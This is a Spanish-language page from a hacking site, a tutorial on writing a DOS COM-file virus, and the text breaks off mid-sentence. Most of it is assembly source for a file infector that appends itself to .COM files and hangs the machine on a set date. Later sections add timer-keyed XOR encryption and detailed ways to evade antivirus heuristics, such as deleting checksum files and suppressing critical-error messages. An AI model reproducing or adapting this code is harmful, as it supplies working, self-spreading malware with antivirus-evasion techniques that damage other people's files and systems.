Black Hole organizacion
CostaRica  
  Bienvenida
  Hackers
  Foro ingresa
  Noticias
  Contacto
  Imagenes
  Programas
  Visitantes
  Chat
  Libros
  => hacker
  => Virus
  => Cracker
  => Lecciones hackin
  => Programacion
  => Diseños web
  => Guia de hackin
  => Privasidad
  => Guia → 1
  => Guia → 2
  => Guia → 3
  => Guia → 4
  => Guia → 5
  => Guia → 6
  => Guia → 7
  => Guia → 8
  => Guia → 9
  => Guia → 10
  => Guia → 11
  => Como intrudusirse aun sistema
  => shellcodes_linux-1
  => shellcodes_linux -2
  => UN-scodes.
  => Guia version Deluxe
  => Ser Hacker dentro de Términos Legales
  => Como hackear una paginaweb
  => Comoprogramar un Virus
  => Como Crear un Virus
  => Cuantos tipos de Virus existen
  => Programaciones de un virus
  => Estructura de computadores
  => Fundamentos de SSOO
  => Sistemas de numeración
  => Ensamblador I: Conceptos básicos
  => Ensamblador II
  => Utilidades para la programación
  => Infección bajo Windows
  => Infección bajo Linux
  => Técnicas avanzadas
  => Apéndices
  => CONOCIENDO LA MAQUINA
  => DIRECCIONAMIENTO DE MEMORIA EN EL 8086
  => CHIPS DE APOYO (Ampliación de la lección 1)
  => LA PILA DEL 8086
  => CODIFICACIÓN DE LAS INSTRUCCIONES EN EL 8086
  => Manual HTML
  => Ataques basados en Desbordamiento de Buffer (Buffer Overflow)
  => Privasidad
  => Escaneo
  => anti Escaneo y Escaneo
  => Malianom
  Triang
  Tersirve esta paguina?
  -
  juegos
  Vagos
  mapa
  Mapa del sitio
  546
Comoprogramar un Virus

Atras

Empezaremos por contaminar archivos com, ¿que qué diferencia hay entre archivos com y exe? pues fácil, si os habéis fijado los archivos com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque los com se cargan en un único segmento de memoria. Y no me vengáis diciendo que el command.com del windows 95 tiene más porque aunque tiene extensión com es un archivo exe (es un exe camuflado je,je,je  ) Los exe's utilizan un cabezera con información acerca del tamaño del archivo,la posición inicial para empezar a ejecutar el file la posición del stack y demás choradas necesárias para cargarlo en varios segmentos de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca? ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los tenían que marcar. 
     Bueno la verdad es que lo que realmente diferencia un exe de un com es esa marca , la extensión simplemente sirve para que el DOS sepa que ejecutar primero com->exe->bat. El virus que vamos a hacer no será  residente  por lo que es  bastante sencillo .Contamina  en un único directorio por lo que además de ser sencillo tendrá una infección practicamente patética. Pero bueno es pa ke entendáis el rollo este de los com. La contaminación de los com's se puede hacer añadiendo el código del virus al principio del hoste(programa infectado) pero no es recomendable por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros bytes del archivo (guardarlos en el código del virus) poner en su lugar un jmp virus (es decir un salto incodicional al código del virus, que  lo añadimos al final del hoste).Cuando acaba la ejecución del virus los 3 bytes que habías guardado los restauramos al principio del virus y le pasamos el control al hoste. Facil noooo???            -----------------           | jmp    virus  |               -----------------           | codigo del    |             | hoste         |             -----------------           | virus:        |           | contamina     |           | recupera los  |           | 3 bytes       |           | originales y  |           | jmp hoste     |           -----------------     Ahora que sabemos la teoría , tenemos que buscar una manera   de marcar  los archivos para no volverlos a contaminar infinitas veces.    Como vamos a tener que poner un jmp al principio del hoste , pues    este propio jmp funcioná  de marca de infección. El virus infectará     a los archivos que no empiecen con un jmp.El código del jmp ocupa     1 byte y la dirección a saltar con un byte ocupa 2 bytes    1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste)     Otra cosa. Al programar un virus lo que se hace normalmente es crear    un archivo contaminado, en este caso nuestro hoste contaminado    contendrá un jmp start (salto al principio del virus) y la int 20h    para regresar al dos.   longitud        equ     fin-start      code            segment 'code'                 assume  cs:code,ds:code,es:code                 org     100h                    ;empiezo en 100 ya que es un com hoste:          jmp     start                   ;esto es un hoste simulado                 int     20h                     ;con esto salgo al DOS start:          push    bp                 call    alli                    ; busco la ip de inicio  alli:           pop     bp                      ; para que la variables no                 sub     bp,offset alli          ; aparezcan corridas :-)          Con esto lo que hacemos es definir la constante longitud como        la diferencia entre dos etiquetas que hemos puesto al principio y al        final del virus(obviamente) con lo que el linkador nos traducirá         longitud como el tamaño del virus.        El org 100h es para que el programa se carge en el offset 100h,        los com's siempre se cargan en el offset 100h ya que tienen que dejar        100h bytes para que el DOS guarde información sobre el programa        esos 100h bytes forman lo que se llama el PSP.        En el hoste meto un jmp start con lo que este archivo estará ya        marcado como infectado.        Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué        un call? ¿acaso los call no són para llamar a procedimientos?        ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret        para regresar del procedimiento tampoco la veo?        Respuesta:           No es una llamada a un procedimiento. Es simplemente una pirula        para que se puedan direccionar las variables. ¿quéeee?. Si bueno        no sé si si os habéis dado cuenta que el virus se añade al final        del hoste con lo que en cada hoste las variables se encontrarán        en diferente offset (el offset es una dirección dentro de un        segmento , y un segmento es un bloque de memoria de 65536 bytes)        Las referencias a variables ( como mov ax,variable)        el linkador las traduce a un numero (mov ax,056f2h  por ejemplo)        Por esto es por lo que hay que inventarse una pirula para hallar         el verdadero offset de las variables( en busca del offset perdido).        Ahora bien que os parece si sumamos a cada referencia a variable        el incremento del tamaño del hoste respecto al hoste ficticio que hemos        creado,que lo  podríamos tener almacenado en un registro como el bp        (que no es muy usado). Ahora las referencias a variables quedarían así:          mov ax,bp+variable          No está  mal el invento pero ¿cómo coño hallamos ese incremento        que sufre  el offset?.Ahora es cuando utilizamos las maravillosas        cualidades del comando call.El comando call no sólo salta al comienzo        del procedimiento sinó que apila la dirección de regreso para que        luego utilizando la instrucción ret se pueda regresar a la posición        desde la que fué llamada.Pero bueno, que preciosidad de comando        ,pues yo ahora hago un call findoffset y en vez de enviar el control        a un procedimiento utilizo el comando pop para desapilar la dirección        apilada con el call. Pero la cosa no se queda ahí, ahora le resto        a esa direccion (almacenada en bp)  el offset de la etiqueta findoffset        ahora acabamos de obtener el desplazamiento que sufriran las variables.         NOTA:Las intrucciónes offset algo el linkador las traduce por un              número por lo que en cada archivo infectado 'offset findoffset'             siempre será  el mismo número.             el offset de la etiqueta findoffset del archivo que vamos a crear.         Si te fijas en el archivo que vamos a obtener el bp tomará  el valor 0        esto es correcto ya que en el archivo original no se produce ningun        desplazamiento,respecto a su propio tamaño ; ).                  push    cs                 push    cs                 pop     ds                 pop     es                 push    ax                                      push    bx                                      push    cx                     ;  APILO LOS REGISTROS                 push    dx                                    push    di                                      push    si                           Con esto ds y es se quedan con el valor de cs ya que trabajamos     en un único segmento. Además apilo los registros para que no     se modifique su valor.      Ahora viene un punto muy importante en este virus es recuperar     los 3 bytes originales.Esto lo hacemos antes de la contaminación     ya que la variable cab_ORIG la sobreescribiremos en el proceso     de infección.                 cld                mov    cx,3d              ;en cx el numero de bytes a mover                mov    di,100h            ;muevo de ds:si ->es:di                lea    si,bp+cab_ORIG     ;es decir de la variable cab_ORIG a 100h                rep    movsb      Ten en cuenta que sobreescribo estos 3 bytes en memoria el      archivo contaminado siempre tendra tu jmp START.    ************* Quien quiera pasar de esto que lo haga *******     ************* es la activación del virus                               *******      Se activa el 19 de Febrero mi Cumpleaños (que original).                  mov  ah, 02h                 int  21h                 cmp  dh, 2d           ;compruebo si el mes es 2                 jne  noactivo                 cmp  dl, 19d          ;compruebo si el dia es 19                 jne  noactivo                  mov  ax,0900h       ;aparece el mensaje en pantalla                 lea  dx,bp+mensaje  ;si es 19 del 2 sino se salta a noactivo                 int  21h                  hlt           ;cuelgo el ordenata  noactivo:      ************* Final de la activaci¢n  *************************                          mov     ah,4eh                  ;                  lea     dx,bp+file_cont         ;                 mov     cx,00000000b            ;     BUSQUEDA DEL ARCHIVO                 int     21h                     ;      con esto busco archivos que cumplan que tienen extensión com     *.com . en ds:dx esta la dirección de la cadena '*.com'     en ah la llamada a la función de busqueda y en cx los atributos.     Es recomendable trabajar con una buena lista de interrupciones     yo recomiendo personalmente la lista de Ralf Brown yo diría que     sin duda es la mejor .      Si la han quitado la podréis conseguir de la página de Cicatrix.     Ojo a que  ponemos bp+file_cont en vez de file_cont a secas.  otro:           mov    ah,4fh                 int    21h                 jb     salir            ;salto si no quedan más archivos                                         ;con extensión com                  mov     ax, 3d00h       ;abro el archivo para lectura                 mov     dx, 009eh                 int     21h                           mov     bx,ax            ;guardo el handel        Al encontrar un archivo con extensión com lo abro para ver si está      contaminado.      Ten en cuenta que la información obtenida con la funcion 4fh de la      interrupción 21 (busqueda de archivo) se guarda en el DTA(disk      transfer area) que forma parte del PSP (que son los 100 bytes iniciales      del segmento donde se ejecuta el com).      El DTA empieza en el offset 80h y tiene la siguiente estructura:            offset      Bytes ocupados   Funci¢n           00h         21d              Usado por el dos para la función                                        4f (buscar proximo)                                                    15h         01d              Atributos del file encontrado           16h         02d              Hora del archivo           18h         02d              Fecha del file           1Ah         04d              Tamaño del archivo en bytes           1Eh         13d              Nombre del archivo      Ahora que sabemos esto para abrir un archivo encontrado con las funciones     4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de     Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el     DTA se encuentra en el offset 80h, la dirección real     será 80h+1Eh= 9Eh.                  mov     ax,4200h        ;muevo el puntero  al principio                 mov     cx,0000h                 mov     dx,0000h                 int     21h                                  mov     cx,3h                         ;longitud a copiar                  lea     dx,[bp+cab_Orig]              ;direccion donde se copiara                 mov     ah,3fh                        ;funcion de lectura                 int     21h         En la variable cab_ORIG los 3 primeros byte del archivo . Esto        es para comprobar si está  infectado y si lo está  de paso ya tengo        los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas        alturas ya hemos recuperado en memoria los 3 bytes originales del        file).                   mov     ah ,3eh                       ;cierro el archivo                 int     21h                                  cmp     byte ptr [bp+cab_ORIG],0E9h        ;si empieza con un jmp                  je      otro                          ;no lo contamina y busca otro          Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es        igual a 0E9h que es el código de la intrucción jmp.        Si es igual probablemente esté contaminado por lo que buscamos otro                  mov     ax, 3d02h                     ;abro el archivo para r/w                 mov     dx, 009eh                 int     21h                 mov     word ptr ds:[bp+handel],ax ;guardo en handel en la variable                 mov     bx,ax           ; guardo en bx el handle del archivo                     Fijate bien que todas las referencias a variables se realizan sumando       bp.                 mov     cx, 2h                 mov     si,009Ah                 lea     di,[bp+cabecera+1]                 rep     movsb       Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos      con el nombre del archivo                  sub     word ptr [bp+cabecera+1],3                                                          Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 bytes)       ya que el salto comienza realmente desde la siguiente instrucción.                  mov     ax,4200h        ;muevo el puntero  al principio                 mov     cx,0000h                 mov     dx,0000h                 int     21h                                  mov     ah,40h           ;escribo los nuevos 3 bytes                 mov     cx,3h            ;que tendrá el archivo                 lea     dx,bp+cabacera                 int     21h                      Que conste que la variable cabecera la ten¡a preparada con un E9h       en el primer bytes(jmp) mirar la definición de variables del final       Por ello lo único que he tenido que hacer es completarla metiendo       la dirección hallada.                                                                         mov    ax,4202h          ;muevo el puntero al final                 mov    cx,0000h                           mov    dx,0000h                 int    21h                  mov    ah,40h                 mov    cx,longitud         ;en cx el número de bytes a copiar                 lea    dx,bp+start         ;pues la longitud del archivo                 int    21h                 ;que va a ser                  mov     ah ,3eh            ;cierro el archivo                 int     21h       Completamos la infección cerrando el archivo  salir:          pop     si                     ;                 pop     di                     ;                 pop     dx                     ;  DESAPILO LOS REGISTROS                 pop     cx                     ;                 pop     bx                     ;                 pop     ax                     ;                 pop     bp                     ;                  mov     ax,100h                       ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO                 jmp     ax                                                                     Para salir desapilamos los registros guardados            y con un simple jmp al offset 100h el hoste emp
    Bueno,bueno,bueno ...   Tenemos aquí un bonito virus, ¿qué podemos hacer para mejorarlo un poco?. Pues vamos a encriptarlo. Y además lo vamos a encriptar cada vez con un valor diferente, que cogeremos de un contador que tiene el Bios (el bios cuenta el número de tics de reloj a partir de las 12). ¿qué porqué encriptamos con un valor variable?.Pues fácil, si encriptamos cada vez con un valor diferente ,la parte del virus que permanece constante con cada infección será mínima(sólo la rutina de desencriptación). Actualmente hay más sofisticadas técnicas para que se reduzca el codigo invariante del virus, se trata del POLIMORFISMO que se basa en encriptar según un número aleatorio y modificar cada vez la rutina de desencriptación. Pero basta de rollos, vamos a explicar un poco eso de la encriptación. Utilizaremos una encriptación xor ,esta encriptación tiene una cualidad muy interesante y es que la rutina de desencriptación y la de encriptación es la misma. Fijaos que si realizamos un xor a un número con el valor 5 (por ejemplo) ,obtenemos otro número diferente , pero si volvemos a aplicar la función xor con el valor 5 obtenemos el valor que teníamos al principio.  Nota: La función A xor B es cierto si A es cierta y B no o si A es falsa y       B cierta.     Supongamos ahora que tenemos un byte del virus 11011010 y que encriptamos    según el valor del timer 00100111                           Valor encriptado          Valor desencriptado                          ----------------             -------------------    11011010 xor 00100111 =   11111101 xor 00100111 =  11011010     Tened en cuenta que a hay muchas posibilidades de encriptación    pero no siempre la función de encriptado es igual a la de desencriptado    como pasa con la xor, tomad algunos ejemplos:     Función de encriptación         Función de Desencriptación    -----------------------         --------------------------    add .................................... sub                                   sub .................................... add                                   xor .................................... xor                                   ror .................................... rol                                   rol .................................... ror                                   inc .................................... dec                                   dec .................................... inc                                   not .................................... not                                    La estructura es muy simple cuando el virus toma el control   llama a una rutina de desencriptación y ésta desencripta el codigo   del virus( lee el byte del timer que lo tenemos almacenado en una   variable dentro del codigo y con ese valor pasamos la función xor   a cada byte del virus).            ------------------           | jmp    virus   |           ------------------           | codigo del     |           | hoste          |           ------------------           | virus:         |           | Rutina de      |           | desencriptación|           -------------------           | virus          |           | encriptado     |           -------------------       Pero que coño pasa , aquí hay un problema.¿cómo vamos a dar el control   a una rutina de desencriptación si no tenemos el virus encriptado   todavía?.Aquí viene lo divertido del asunto. En el archivo que vamos   a crear, no haremos un jmp START como hicimos en el ejemplo anterior   haremos jmp Encryptor, siendo Encryptor una etiqueta que indica el   comienzo a una rutina de encriptación que colocaré al final del   virus. Fijate bien que la coloco después de la etiqueta 'fin'.   Esto és porque la rutina sólo tiene que funcionar en el archivo   que creamos nosotros(ya que no tiene todavía el codigo encriptado)   ,de este modo esa rutina no se copiará  en las sucesivas infecciones.    El metodo de infección es ligeramente diferente, ya que hemos de   encriptar primero el virus y luego añadirlo al archivo. Por ello   copio el codigo del virus textualmente al final del propio virus   ,all¡ lo encripto y de all¡ lo llevo al final del archivo.      Atención a las modificaciones del virus anterior...   longitud        equ     fin-start zona_encrypt    equ     offset zona_end-offset zona_start comienzo        equ     offset zona_start-offset start    Hallado la constante zona_encrypt para definir la cantidad de bytes   a encryptar(que no es igual a la longitud del virus, porque la rutina   de desencriptación obviamente no se encripta).   La variable comienzo la utilizo para direccionar la zona a encriptar   cuando muevo el virus para encriptarlo.  code            segment 'code'                 assume  cs:code,ds:code,es:code                 org     100h                    ;empiezo en 100 hoste:          jmp     encryptor               ;esto es un hoste simulado                 int     20h                     ;con esto salgo al DOS    Fijaos que en vez de saltar a Start salto a encryptor para encriptar   el código del virus antes de pasar el control a la rutina de desencriptación  start:          push    bp                 call    alli                    ; busco la ip de inicio  alli:           pop     bp                      ; para que la variables no                 sub     bp,offset alli          ; aparezcan corridas :-)                  push    cs                 push    cs                 pop     ds                 pop     es                 push    ax                     ;                 push    bx                     ;                 push    cx                     ;  APILO LOS REGISTROS                 push    dx                     ;                 push    di                     ;                 push    si                     ;   *********** Rutina de desencriptación **********************     Tened en cuenta que hemos de hallar en bp el desplazamiento     antes de la rutina de desencriptación , ya que esta rutina     si que se ejecuta en cada archivo contaminado.                  mov      cx,zona_encrypt  ;en cx el numero de bytes                 xor      di,di            ;a encriptar                 mov      ax,byte ptr [valor] mas:            xor      byte ptr [zona_start+di],ax                 inc      di                 dec      cx                 je       mas                   No voy a explicar la rutina ya que es la misma que la rutina     de encriptación  ************ antención que aqu¡ empieza la zona encriptada *******  zona_start:    cld                                      mov    cx,3d              ;en cx el numero de bytes a mover                mov    di,100h            ;muevo de ds:si ->es:di                lea    si,bp+cab_ORIG     ;es decir de la variable cab_ORIG a 100h                rep    movsb                  mov  ah, 02h                 int  21h                 cmp  dh, 2d           ;compruebo si el més es 2                 jne  noactivo                 cmp  dl, 19d          ;compruebo si el día es 19                 jne  noactivo                  mov  ax,0900h       ;aparece el mensaje en pantalla                 lea  dx,bp+mensaje  ;si es 19 del 2 sino se salta a noactivo                 int  21h                  hlt           ;cuelgo el ordenata  noactivo:                  mov     ah,4eh                  ;                  lea     dx,bp+file_cont         ;                 mov     cx,00000000b            ;     BUSQUEDA DEL ARCHIVO                 int     21h                     ;   otro:           mov    ah,4fh                 int    21h                 jb     salir            ;salto si no quedan más archivos                                         ;con extensión com                  mov     ax, 3d00h       ;abro el archivo para lectura                 mov     dx, 009eh                 int     21h                           mov     bx,ax            ;guardo el handel                   mov     ax,4200h        ;muevo el puntero  al principio                 mov     cx,0000h                 mov     dx,0000h                 int     21h                                  mov     cx,3h                         ;longitud a copiar                  lea     dx,[bp+cab_Orig]              ;dirección donde se copiará                 mov     ah,3fh                        ;función de lectura                 int     21h                                  mov     ah ,3eh                       ;cierro el archivo                 int     21h                                  cmp     byte ptr [bp+cab_ORIG],0E9h        ;si empieza con un jmp                  je      otro                          ;no lo contamina y busca otro                  mov     ax, 3d02h                     ;abro el archivo para r/w                 mov     dx, 009eh                 int     21h                 mov     word ptr ds:[bp+handel],ax ;guardo en handel en la variable                 mov     bx,ax           ; guardo en bx el handle del archivo                               mov     cx, 2h                 mov     si,009Ah                 lea     di,[bp+cabecera+1]                 rep     movsb                  sub     word ptr [bp+cabecera+1],3                   mov     ax,4200h        ;muevo el puntero  al principio                 mov     cx,0000h                 mov     dx,0000h                 int     21h                                  mov     ah,40h           ;escribo los nuevos 3 bytes                 mov     cx,3h            ;que tendrá el archivo                 lea     dx,bp+cabacera                 int     21h                       Ahora que he escrito la nueva cabecera he de mover el código del virus       y encriptarlo antes de ejecutar la int 21 función 40 para copiar       el virus al final.                 xor  ax,ax                 int  1Ah                              mov  al,dl                  ;sólo leo el valor menos                  mov  byte ptr [bp+valor],al ;significativo ya que sólo                                             ;necesito un byte       Aquí obtengo el valor del timer con la int 1ah y lo guardo en la      variable valor para que lo pueda utilizar luego la rutina      de desencriptado.                  cld                 lea   si,bp+start         ;copio el virus a otra parte                 lea   di,bp+Encrypt_buf   ;para encriptarlo                 mov   cx,longitud         ;ds:si -> es:di                 rep   movsb                  mov      cx,zona_encrypt  ;en cx el numero de bytes                 xor      di,di            ;a encriptar                 mov      ax,byte ptr [valor] otro_byte:      xor      byte ptr [bp+Encrypt_buf+comienzo+di],ax                 inc      di                 dec      cx                 je       otro_byte          Con esto encripto el virus (que lo he movido a Encrypt_buf)                  mov    ax,4202h          ;muevo el puntero al final                 mov    cx,0000h                 mov    dx,0000h                 int    21h                  mov    ah,40h                 mov    cx,longitud         ;en cx el número de bytes a copiar                 lea    dx,bp+Encrypt_buf   ;pues la longitud del archivo                 int    21h                 ;que va a ser          Fijate aqu¡ que no empiezo a copiar en Start sino en Encrypt_buf         donde está  el virus con su zona correspondiente encriptada                   mov     ah ,3eh            ;cierro el archivo                 int     21h  salir:          pop     si                     ;                 pop     di                     ;                 pop     dx                     ;  DESAPILO LOS REGISTROS                 pop     cx                     ;                 pop     bx                     ;                 pop     ax                     ;                 pop     bp                     ;                  mov     ax,100h                       ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO                 jmp     ax  cab_ORIG        db      090h,090h,090h cabecera        db      0e9h,00h,00h handel          dw      0 file_cont       db      '*.com',0 Mensaje         db      'Ooooooohhhh!!! El virus ejemplo del web de',0ah,0dh                 db      'Nigromante se ha activado.....',0ah,0dh                 db      '      ..... para desactivarlo consulten con',0ah,0dh                 db      '            nEUrOtIc cpU.',0ah,0dh zona_end: ************ antención que acaba la zona encriptada ******* valor           db      5h         encrypt_buf     db      0        ;a part¡r de aquí escribo el código                                  ;del virus para encriptarlo fin             label   near          Ojo , a que la variable valor tiene que estar fuera de la zona         encriptada, si estuviera dentro como coño podrías desencriptar         luego el codigo.je,je,je.    Encryptor:      push     di      ;apilo los registros utilizados                 push     cx      ;por la rutina de desencriptación                 push     ax                 push     cs                 pop      ds                   mov      cx,zona_encrypt  ;en cx el numero de bytes                 xor      di,di            ;a encriptar                 mov      ax,byte ptr [valor] mas:            xor      byte ptr [zona_start+di],ax                 inc      di                 dec      cx                 je       mas         Fijate que no necesito en esta rutina sumar a las variables        bp ya que esta rutina sólo se ejecutará  en este archivo y no        se va a copiar en las demás infecciones.        En ax leo el contenido de la variable Valor(el valor del timer)        que en este archivo le he dado un 5h por poner algo.        Y con ese valor aplico la función xor a cada byte de la        zona encryptada.                  pop       ax         ;desapilo los registros utilizados                 pop       cx                 pop       di                 jmp       start         Ahora si que salto a Start ,ya el virus está  como toca,        rutina de desencriptación+codigo encriptado.   code            ends                 end     start          Otra ventaja de la encriptación es que si habres el  ejecutable con un editor de texto          (aunque para qué coño vas a querer abrirlo con un editor de texto) ya no se verá         el mensaje del virus.Lo que delataría claramente que el  archivo está infectado.         Con esto finalizo la clase de encriptación ,               Para compilarlo simplemente hay que poner las instrucciones            en un mismo archivo(no se compilará con mis comentarios por            ah¡ je,je,je ).            Y escribir     tasm archivo.asm                           tlink /T archivo.asm                        Bueno hasta el siguiente numero                      Afectuosamente       Nigromante                                       by nEUrOtIc cpU.           NOTA: No lo he compilado así que si hay errores los buscais.               Si hay alguna duda me escribis, fale?.                                   
      Bueno ,he estado evitando hasta ahora hablar de heurística, pero supongo que és inevitable. La busqueda heurística es un método utilizado por lo antivirus y consiste en buscar trozos muy utilizados en los virus. Por ejemplo la busqueda del desplazamiento de las variables (o delta offset o beta offset como dirían algunos programadores de virus).Ese trozo es muy común en los virus y en cambio ningún programa (normalmente) lo utiliza (¿qué programa necesita buscar un desplazamiento de variables si no se va a cambiar de offset?). En nuestro programita saltarían por ejemplo el flag de encriptación (flag # en el tbav) ,el flag de busqueda de ejecutables(porque buscamos archivos com, eso quieras o no es bastante sospechoso) ,el flag de busqueda del delta offset (flag E en el tbav) y el flag de regreso al hoste (salta cuando damos el control al hoste saltando al offset 100h,flag B en el tbav)                 Lista de flags del tbav                -----------------------  E Flexible Entry-point.  The code seems to be designed to be linked   on any location within an executable file.  Common for viruses. J Suspicious jump construct.  Entry point via chained or indirect   jumps.  This is unusual for normal software but common for viruses. B Back to entry point.  Contains code to re-start the program after   modifications at the entry-point are made.  Very usual for viruses. M Memory resident code.  The program might stay resident in memory. c No checksum / recovery information (Anti-Vir.Dat) available. C The checksum data does not match!  File has been changed! T Incorrect timestamp.  Some viruses use this to mark infected files. Z EXE/COM determination.  The program tries to check whether a file   is a COM or EXE file.  Viruses need to do this to infect a program. @ Encountered instructions which are not likely to be generated by   an assembler, but by some code generator like a polymorphic virus. G Garbage instructions.  Contains code that seems to have no purpose   other than encryption or avoiding recognition by virus scanners. U Undocumented interrupt/DOS call.  The program might be just tricky   but can also be a virus using a non-standard way to detect itself. K Unusual stack.  The program has a suspicious stack or an odd stack. 1 Found instructions which require a 80186 processor or above. R Relocator.  Program code will be relocated in a suspicious way. L The program traps the loading of software.  Might be a   virus that intercepts program load to infect the software. w The program contains a MS-Windows or OS/2 exe-header. F Suspicious file access.  Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap.  This is common   for viruses but also for some copy-protected software. D Disk write access.  The program writes to disk without using DOS. ? Inconsistent exe-header.  Might be a virus but can also be a bug. N Wrong name extension. Extension conflicts with program structure.    Si os fijáis algunos de los flags son una chorada (ojo al flag w)   Pero tranquilos ,en esta vida todo tiene solución en primer   lugar prodríamos sustituir la tipica rutina ...                    call find_offset find_offset:    pop  bp                 sub  bp,offset find_offset    ... por una rutina en la que leamos directamente de la pila                  call find_offset find_offset:    mov  si,sp                 mov  bp,word  ptr ss:[si]                 sub  bp,offset find_offset                 add  sp,2                   ;adiós flag E     Fijate que los datos en la pila se almacenan decrecientemente, con lo   que el último elemento está  en la posición de memoria más baja.   El último elemento de la pila lo apunta el par de registros ss:sp   No podemos direccionar la memoria con el registro sp por lo que primero   pasamos el valor de sp a si (mov si,sp) después leemos el valor apuntado   por si y lo llevamos a bp(ésta és la dirección apilada con el call)   Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp   ya que hemos desapilado una palabra de la pila y ahora el último elemento   de la pila está  dos posiciones hacia arriba.   Esta rutina sirve pero ten en cuenta que el call find_offset no puede   ser el primer comando del virus (sino la heurística saltaría).   Antes del call find_offset podrías poner ...                    push cs                    push cs                    pop  ds                    pop  es               ....ya que de todas formas lo tendrías que poner.    No tengas tentaciones de poner instrucciones inútiles antes del   call como                      mov  cx,cx                    xchg ax,ax   Entonces no saltaría el flag del delta offset  sinó el flag de garbage instruccion (instrucciones basura)  ¿qué porqué salta la heurística con instrucciones inútiles?  Pues porque un programa normal no suele utilizarlas , no són instrucciones  que un compilador genere. En cambio los virus las utilizan para modificar  la rutina de desencriptación en virus Polimórficos. Así que evita  utilizarlas.  Ahora que hemos evitado el flag E vamos a anular el flag B (back to  entry point, regreso al punto de entrada).Salta cuando damos  el control al com después de la ejecución del virus.  Es decir si utilizamos ....                mov  ax,100h               jmp  ax   pero esto tiene una solución también drástica,(no utilizaremos un mov)                push  100h      ;apilamos el valor 100h en la pila               pop   ax        ;desapilamos ese valor en el registro ax               jmp   ax        ;saltamos a la dirección 100h     Si, si, sé lo que estáis pensando.Pero se vé que a los creadores   de antivirus no se les ocurrió :>   Je,Je hemos aniquilado otro flag. Vamos a por el siguiente.  ¿Qué tal el flag de encriptación?. La verdad es que éste me costo un   poquito. Leí por algún sitio que poniendo después de la rutina de   desencriptación un comando de salida al DOS se quitaba,con lo que    el programa  antivirus se pensaba que la zona encriptada eran datos    del programa  Algo así :>                  mov      cx,zona_encrypt  ;en cx el numero de bytes                 xor      di,di            ;a encriptar                 mov      ax,byte ptr [valor] mas:            xor      byte ptr [zona_start+di],ax                 inc      di                 dec      cx                 je       mas                 jmp      sigue        ;salto para ejecutar el virus                                       ;ya desencriptado                 mov      ax,4c00h     ;para salir al DOS pero                 int      21h          ;nunca llega a ejecutarse sigue:  ***************** aquí empieza el código encriptado ********** zona_start:    cld                                      mov    cx,3d                              mov    di,100h                            lea    si,bp+cab_ORIG                 rep    movsb                .                .                .      La verdad es que es una idea ingeniosa ,pero no me funcionó.     Así que al final conseguí evitar el dichoso flag encriptando     y desencriptando el virus (parece paradógico ,evitar el flag     de encriptación con una rutina de encriptación juajuajuajua)     Encripto y desencripto con una función xor y utilizando un     valor fijo. Estas dos rutinas las ejecuto antes de llegar     a la verdadera rutina.Y estarán en cada archivo.     La estructura del com quedaría así:                 Busqueda del delta offset                Encripto el virus con un valor fijo                Desencripto el virus con el mismo valor                Desencripto el virus con un valor variable que                  se encuentra almacenado en el codigo.                Codigo del virus encriptado aquí      Podéis revisar el Tarazona_Killer en la zona de virus comentados     que está en esta web (si tenéis más dudas).      Otro menos, esto va disminuyendo.Vamos ahora a por el flag S     Que salta con las rutinas de busqueda de archivos ejecutables     (exe,com).     También hay una fácil solución.En vez de buscar archivos     *.com buscar archivos que cumplan *.c?m .     Y después verificar si el caracter del medio es una o.     Fácil.El flag Z tiene una solución parecida.     El flag z salta con rutinas de verificación si un archivo     es com o exe (es decir comprobando si los 2 primeros bytes     son MZ).     Por ejemplo saltaría con rutinas como:                    cmp word ptr [cab_ORIG],'ZM'                   jne contamina_com                   jmp salir contamina_com:  NOTA: Fíjate que para verificar si los 2 primeros bytes son MZ       comparamos con la cadena ZM ya que el bytes menos significativo       se carga más hacia la derecha y el menos significativo a la       izquierda.        Para evitar el flag leemos primero un byte y luego otro                 cmp byte ptr [cab_ORIG].'M'                jne contamina_com                cmp byte ptr [cab_ORIG+1],'Z'                jne contamina_com                jmp salir contamina_com:        Bueno a estas alturas sólo saltaría el flag c       C The checksum data does not match!  File has been changed!       El Tbav crea un archivo en cada directorio con infomación       sobre los archivos ejecutables que hay en él. Gracias a este       archivo el Tbav sabe si un archivo a aumentado de tamaño o       qué, (bueno no suelen engordar así por así los ejecutables       por lo que si uno crece de tamaño lo más normal es que tenga       un virus  :> )       La manera de evitar este flag es borrar el archivito con       lo que de paso puedes borrar otros archivos de verificación       de otros antivirus como el chklist.ms etc.       ¿qué cómo los borras? pues coño pa eso tienes la lista de       interrupciones int 21 en AH->41h y en DS:DX->asciz file        Olvidémonos un poco de los flags y de la heurística ,por       lo menos hasta que llegemos a la residencia ;>. Y vamos       a deperurar un poco más el programilla.       Piensa por un momente lo que pasaría si alguien copia       nuestro virus a un diskette ,luego lo protege contra       escritura y después ejecuta el virus.       Pues aparecería en pantalla un horroroso mensaje de        Fallo de escritura en unidad A       Anular, Reintentar, Ignorar?        Incluso a veces aparece en pantalla error en int 24 :>       Y vosotros no queréis que eso pase ,porque delataría       a nuestro pequeño virus.       Pues bueno como todo en esta vida tiene una solución.       La interrupción 24 es la que gestiona los errores       críticos. Entre ellos está  la lectura en diskettes       defectuosos, la escritura en diskettes protegidos       contra escritura etc.        Las interrupciones són procedimientos que se ejecutan       cuando se produce algún evento en el sistema ya sea       apretar una tecla ,mover el ratón, o que aparezca un       error crítico.       El DOS crea a partir de la dirección de memoria 0000:0000       una tabla que indica la dirección de inicio de cada       interrupción del sistema. Sólo hemos de leer la dirección       de la interrupción 24. Guardarla en una variable . Cambiar       la dirección a un procedimiento nuestro que no devuelva       codigos de error y luego cuando ya hallamos contaminado       devolver a la interrupción 